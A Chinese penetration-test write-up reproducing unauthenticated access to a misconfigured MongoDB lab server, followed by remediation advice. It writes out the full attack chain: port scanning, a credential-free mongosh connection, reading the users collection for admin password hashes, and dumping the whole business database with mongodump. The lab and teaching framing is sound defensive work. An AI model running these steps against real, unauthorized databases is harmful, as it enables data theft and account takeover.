文章说明
本文基于授权渗透测试环境,对一台运行 MongoDB 4.4.13 的靶机(IP:172.20.0.100)进行未授权访问漏洞复现。  
所有操作均在明确书面授权下完成,**严禁用于任何未授权场景**。

### 0x00 漏洞概述

漏洞类型:配置不当导致的未授权访问(Unauthorized Access via Misconfiguration)  
影响版本:MongoDB 任意版本(只要未启用访问控制,即未设置 `--auth` 或 security.authorization: enabled)  
CVSS 分值:9.8(Critical)  
危害:攻击者可直接读取、修改、删除所有数据库内容,包括用户凭证、业务数据、配置文件等。  
常见利用场景:  
- 开发/测试环境忘记开启认证  
- 运维误配(只绑定 localhost 但端口暴露)  
- 默认安装未修改配置

在野利用非常广泛:挖矿木马、勒索软件、数据窃取 bot 常扫描 27017 端口。

0x01 环境信息

- 目标 IP:172.20.0.100  
- 端口:27017/tcp open  
- 服务版本:MongoDB 4.4.13  
- 认证状态:未启用(Access control is not enabled)  
- 操作系统:Linux 5.x(VMware 虚拟机)  
-*相关业务:Next.js 电商后台(choiceshop 数据库)

nmap 初步扫描结果(节选):

27017/tcp open  mongodb  MongoDB 4.4.13

0x02 漏洞复现步骤

步骤1:端口确认与基本连接测试

bash
nmap -p 27017 -sV 172.20.0.100

确认 27017 开放且返回版本 4.4.13。

使用 nc 测试连接:
bash
nc -v 172.20.0.100 27017
# 成功显示:Connection to 172.20.0.100 27017 port [tcp/*] succeeded!

说明端口可达,但不代表无认证(需发协议包验证)。

步骤2:使用 mongosh 快速验证(最可靠方法)

bash
podman run --rm -it docker.io/library/mongo:latest \
  mongosh "mongodb://172.20.0.100:27017"
 

成功进入 shell 并显示:

**结论**:未授权访问漏洞确认存在。

步骤3:枚举数据库与集合
show dbs
// 输出:
admin       132.00 KiB
choiceshop  500.00 KiB
config      108.00 KiB
local        72.00 KiB

切换到业务数据库:
use choiceshop
show collections
// 输出:
banners     categories  details  orders  products  reviews  sliders  users

 步骤4:读取敏感数据(users 集合)
db.users.find().pretty()

 

关键发现:直接获取后台管理员凭证哈希,可用于后续接管 Web 管理界面。

步骤5:完整数据库备份(拖库)


mkdir -p mongo_backup

podman run --rm -it \
  -v $(pwd)/mongo_backup:/backup:Z \
  docker.io/library/mongo:latest \
  mongodump \
    --host 172.20.0.100 \
    --port 27017 \
    --db choiceshop \
    --out /backup \
    --gzip
 

备份成功后,本地得到完整 BSON + 元数据文件,可离线分析或恢复。

 0x03 攻击链完整演示

1. nmap 发现 27017 开放 + MongoDB 版本  
2. mongosh 直接连接成功,无需任何凭证  
3. show dbs → 发现业务库 choiceshop  
4. db.users.find() → 获取所有用户凭证(包括管理员)  
5. mongodump 完整备份数据库 → 实现数据拖取

 0x04 修复建议

立即修复(优先级:紧急)

1. 启用访问控制**  
   编辑 /etc/mongod.conf:
   security:
     authorization: enabled
   
   重启 mongod 服务。

2. 创建管理员用户**(必须先执行):

   use admin
   db.createUser({
     user: "admin",
     pwd: "StrongPassword123!",
     roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
   })
 

3. 防火墙限制
   只允许业务服务器 IP 访问 27017:

   firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="业务服务器IP" port port="27017" protocol="tcp" accept'
   firewall-cmd --reload
 

4. 升级 MongoDB
   4.4 已 EOL,建议升级到 7.x 或 8.x(长期支持版)。

5. 监控与审计  
   开启 MongoDB 日志 + 监控异常连接,使用 SIEM 检测 27017 扫描行为。

0x05 总结

MongoDB 未授权访问是**最常见、最严重**的配置类漏洞之一,一旦端口暴露,几乎等于数据库裸奔。  
本次复现在授权环境下完成,成功读取并备份了业务数据库 choiceshop 中的用户凭证,证明系统存在严重失陷风险

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐